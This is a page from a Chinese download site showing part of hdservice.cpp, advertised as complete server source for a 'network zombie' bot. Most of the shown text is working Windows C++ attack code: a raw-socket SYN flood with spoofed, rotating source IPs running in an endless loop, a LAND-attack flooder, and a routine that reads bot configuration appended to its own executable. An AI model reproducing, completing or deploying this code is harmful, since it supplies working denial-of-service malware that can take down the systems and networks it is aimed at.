⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hdservice.cpp

📁 网络僵尸 服务端完整源代码很好的东西哦
💻 CPP
📖 第 1 页 / 共 3 页
字号:
		
		CLIENTPARA *clientp=(CLIENTPARA*)dParam;
		if (clientp==NULL)
			return -1;

		char SYN_DEST_IP[32];
		char port[6];
		char SendBuf[128];
		WSADATA WsaData;
		SOCKET SockRaw=(SOCKET)NULL;
		struct sockaddr_in DestAddr;
		IP_HEADER ip_header;
		TCP_HEADER tcp_header;
		int datasize,ErrorCode,Counter,flag,FakeIPNet,FakeIPHost;
		int TimeOut=2000,SendSEQ=0;
		

		memset(SYN_DEST_IP,0,sizeof(SYN_DEST_IP));
		memset(port,0,sizeof(port));
		strcpy(SYN_DEST_IP,clientp->IP);
		strcpy(port,clientp->port);

		//初始化SOCKET
		if((ErrorCode=WSAStartup(MAKEWORD(2,2),&WsaData))!=0)
		{

			ExitProcess(ErrorCode);
		}
		
		SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
		if (SockRaw==INVALID_SOCKET) 
		{
			ExitProcess(ErrorCode);
		}

		flag=TRUE;
		ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(CHAR *)&flag,sizeof(int));
		if (ErrorCode==SOCKET_ERROR)
		{
			return 1;
		}
	__try
	{		
		ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
		if (ErrorCode==SOCKET_ERROR)
		{
			return 2;	
		}

		memset(&DestAddr,0,sizeof(DestAddr)); 
		DestAddr.sin_family=AF_INET; 
		DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP); 
		FakeIPNet=inet_addr(FAKE_IP); 
		FakeIPHost=ntohl(FakeIPNet); 
		
		//填充IP首部 
		ip_header.h_verlen=(4<<4|sizeof(ip_header)/sizeof(unsigned long)); 
		//高四位IP版本号,低四位首部长度 
		ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));		//16位总长度(字节) 
		ip_header.ident=1;														//16位标识 
		ip_header.frag_and_flags=0;												//3位标志位 
		ip_header.ttl=128;														//8位生存时间TTL 
		ip_header.proto=IPPROTO_TCP;											//8位协议(TCP,UDP…) 
		ip_header.checksum=0;													//16位IP首部校验和 
		ip_header.sourceIP=htonl(FakeIPHost+SendSEQ);							//32位源IP地址 
		ip_header.destIP=inet_addr(SYN_DEST_IP);								//32位目的IP地址 
		
		//填充TCP首部 
		tcp_header.th_sport=htons(::rand());					//源端口号 
		tcp_header.th_dport=htons(atoi(port));				//目的端口号 
		tcp_header.th_seq=htonl(SEQ+SendSEQ);				//SYN序列号 
		tcp_header.th_ack=0;								//ACK序列号置为0 
		tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);	//TCP长度和保留位 
		tcp_header.th_flag=2;								//SYN 标志 
		tcp_header.th_win=htons(16384);						//窗口大小 
		tcp_header.th_urp=0;								//偏移 
		tcp_header.th_sum=0;								//校验和 

		//填充TCP伪首部(用于计算校验和,并不真正发送) 
		psd_header.saddr=ip_header.sourceIP;				//源地址 
		psd_header.daddr=ip_header.destIP;					//目的地址 
		psd_header.mbz=0; 
		psd_header.ptcl=IPPROTO_TCP;						//协议类型 
		psd_header.tcpl=htons(sizeof(tcp_header));			//TCP首部长度

		while(1) { 
				
				//每发送10,240个报文输出一个标示符 
				//printf("."); 
				for(Counter=0;Counter<10240;Counter++)
				{
					
					Sleep(10);
					if(SendSEQ++==65536) SendSEQ=1;					//序列号循环 
					//更改IP首部 
					ip_header.checksum=0;							//16位IP首部校验和 
					ip_header.sourceIP=htonl(FakeIPHost+SendSEQ);	//32位源IP地址 
					//更改TCP首部 
					tcp_header.th_seq=htonl(SEQ+SendSEQ);			//SYN序列号 
					tcp_header.th_sum=0;							//校验和 
					//更改TCP Pseudo Header 
					psd_header.saddr=ip_header.sourceIP;
					//计算TCP校验和,计算校验和时需要包括TCP pseudo header
					::memset(SendBuf,0,sizeof(SendBuf));
					memcpy(SendBuf,&psd_header,sizeof(psd_header));
					memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
					tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); 
					//计算IP校验和 
					memcpy(SendBuf,&ip_header,sizeof(ip_header)); 
					memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); 
					memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); 
					datasize=sizeof(ip_header)+sizeof(tcp_header); 
					ip_header.checksum=checksum((USHORT *)SendBuf,datasize); 
					//填充发送缓冲区 
					memcpy(SendBuf,&ip_header,sizeof(ip_header)); 
					//发送TCP报文 
					ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr, sizeof(DestAddr)); 
					//if (ErrorCode==SOCKET_ERROR) 
						//printf("\nSend Error:%d\n",GetLastError()); 
				}//End of for 
			}//End of While 
		}//End of try 
	__finally 
	{ 
	if(SockRaw != INVALID_SOCKET)
		closesocket(SockRaw); 
	WSACleanup(); 
	//printf("end");
	}


}
//*****************************************************
USHORT checksum(USHORT *buffer,int size)
{
	unsigned long cksum=0;
	while (size>1)
	{
		cksum+=*buffer++;
		size-=sizeof(USHORT);
	}
	if (size)
	{
		cksum+=*(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff); 
	cksum += (cksum >>16); 
	return (USHORT)(~cksum);

}
//*****************************************************
void Readme()
{
	char peizhi[7];
	char pzpos[29];
	char tempstr[1000];
	char szThis_file[256];
	try
	{
		//SaveLogToFile("Readme()");
	memset(szThis_file,0,sizeof(szThis_file));
	::GetModuleFileName(NULL,szThis_file,sizeof(szThis_file));

	CFile cf;
	cf.Open(szThis_file,CFile::modeRead,NULL);
	memset(peizhi,0,7);
	cf.Seek(cf.GetLength()-7,CFile::begin);
	cf.Read(peizhi,7);
	//if(strcmp(peizhi,"HGZVIP1")==0)
	{
		//::MessageBox(NULL,peizhi,NULL,MB_OK);
		cf.Seek(cf.GetLength()-36,CFile::begin);
		cf.Read(pzpos,29);
		
		int j=0,len=0;
		char *p,*q;
		p=pzpos;
		//::MessageBox(NULL,pzpos,NULL,MB_OK);
		for(;j<29;j++)
		{
			len=len+(*p);
			p=p+1;	
		}
		cf.Seek(cf.GetLength()-36-len,CFile::begin);
		memset(tempstr,0,1000);
		cf.Read(tempstr,len);
		//安装名称
		len=0;
		p=pzpos;
		for(j=1;j<=1;j++)
		{
			len=len+(*p);
			p=p+1;
			
		}
		q=tempstr+len;
		memset(installname,0,sizeof(installname));
		::strncpy(installname,q,(*p));
		
		//SaveLogToFile(installname);
		
		//ip文件
		len=0;
		p=pzpos;
		for(j=1;j<=13;j++)
		{
			len=len+(*p);
			p=p+1;
			
		}
		q=tempstr+len;
		memset(ipfile,0,sizeof(ipfile));
		::strncpy(ipfile,q,(*p));
		//SaveLogToFile(ipfile);
		delete p,q;
		cf.Close();
	}
	}
	catch(...)
	{
	
	}

}
//************************************************
/***********************************************/
//保存日志
void SaveLogToFile(char *content)
{
	CFile logfile;
	CString strTime;
	strTime=CTime::GetCurrentTime().Format("%H:%M:%S    ");
	logfile.Open("c:\\HDService.log",CFile::modeWrite|CFile::modeCreate|CFile::modeNoTruncate,NULL);
	logfile.SeekToEnd();
	logfile.Write(strTime,strTime.GetLength());
	logfile.Write(content,strlen(content));
	logfile.Write("\r\n",strlen("\r\n"));
	logfile.Close();		
}
/***********************************************/
//CheckSum:计算校验和的子函数 
USHORT Landchecksum(USHORT *buffer, int size) 
{ 
unsigned long cksum=0; 
while(size >1) 
{ 
cksum+=*buffer++; 
size -=sizeof(USHORT); 
} 
if(size ) 
{ 
cksum += *(UCHAR*)buffer; 
} 

cksum = (cksum >> 16) + (cksum & 0xffff); 
cksum += (cksum >>16); 
return (USHORT)(~cksum); 
} 
/***********************************************/
unsigned long Landresolve(char *host)
{
 long i;
 struct hostent *he;

 if((i=inet_addr(host))<0)
   if((he=gethostbyname(host))==NULL)
     return(0);
   else
     return(*(unsigned long *)he->h_addr);

 return(i);
}
/***********************************************/
unsigned long  CALLBACK LandDDOSFunction(LPVOID dParam)
{
	//传入参数
	CLIENTPARA *clientp=(CLIENTPARA*)dParam;
	if (clientp==NULL)
			return -1;

	WSADATA WSAData; 
	SOCKET sock; 
	SOCKADDR_IN addr_in; 
	IP_HEADER ipHeader; 
	TCP_HEADER tcpHeader;
	//psd_header psdHeader; 

	char szSendBuf[40]={0}; 
	BOOL flag; 
	int Land; 

	if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) 
	{ 
		return -1;
	} 

	if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) 
	{ 
		return -2;
	} 

	//设置ip选项
	flag=true; 
	if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
	{
		return -3;
	}
   
	addr_in.sin_family=AF_INET; 
	addr_in.sin_port=htons(atoi(clientp->port)); 
	addr_in.sin_addr.S_un.S_addr=Landresolve(clientp->IP); 
 
	//填充IP首部 
	ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); 
	ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); 
	ipHeader.ident=htons(0xF1C); 
	ipHeader.frag_and_flags=0; 
	ipHeader.ttl=255; 
	ipHeader.proto=IPPROTO_TCP; 
	ipHeader.checksum=0; 
	ipHeader.sourceIP=Landresolve(clientp->IP);
	ipHeader.destIP=ipHeader.sourceIP;

	//填充TCP首部 
	tcpHeader.th_sport=htons(atoi(clientp->port)); 
	tcpHeader.th_dport=htons(atoi(clientp->port)); 
	tcpHeader.th_seq=htonl(0xF1C);
	tcpHeader.th_ack=1; 
	tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 
	tcpHeader.th_flag=2; //修改这里来实现不同的标志位探测,2是SYN,1是FIN,16是ACK探测 等等 
	tcpHeader.th_win=htons(2048); 
	tcpHeader.th_urp=0; 
	tcpHeader.th_sum=0; 
	psd_header.saddr=ipHeader.sourceIP; 
	psd_header.daddr=ipHeader.destIP; 
	psd_header.mbz=0; 
	psd_header.ptcl=IPPROTO_TCP; 
	psd_header.tcpl=htons(sizeof(tcpHeader)); 

	//计算校验和 
	memcpy(szSendBuf, &psd_header, sizeof(psd_header)); 
	memcpy(szSendBuf+sizeof(psd_header), &tcpHeader, sizeof(tcpHeader)); 
	tcpHeader.th_sum=Landchecksum((USHORT *)szSendBuf,sizeof(psd_header)+sizeof(tcpHeader)); 
	memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); 
	memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); 
	memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4); 
	ipHeader.checksum=Landchecksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); 
	memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
	
	while(1){
				//Sleep(10);//800
				Sleep(15);	//500
				for(int i=0;i<10;i++)
				{
				
					Land=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 
					0, (struct sockaddr*)&addr_in, sizeof(addr_in)); 
					if (Land==SOCKET_ERROR) 
					{ 
						//printf("Land error:%d\n",WSAGetLastError()); 
						return -4; 
					}
				}
			}//end while 
	closesocket(sock); 
	WSACleanup(); 
	 
	return 0;
}
/***********************************************/





⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -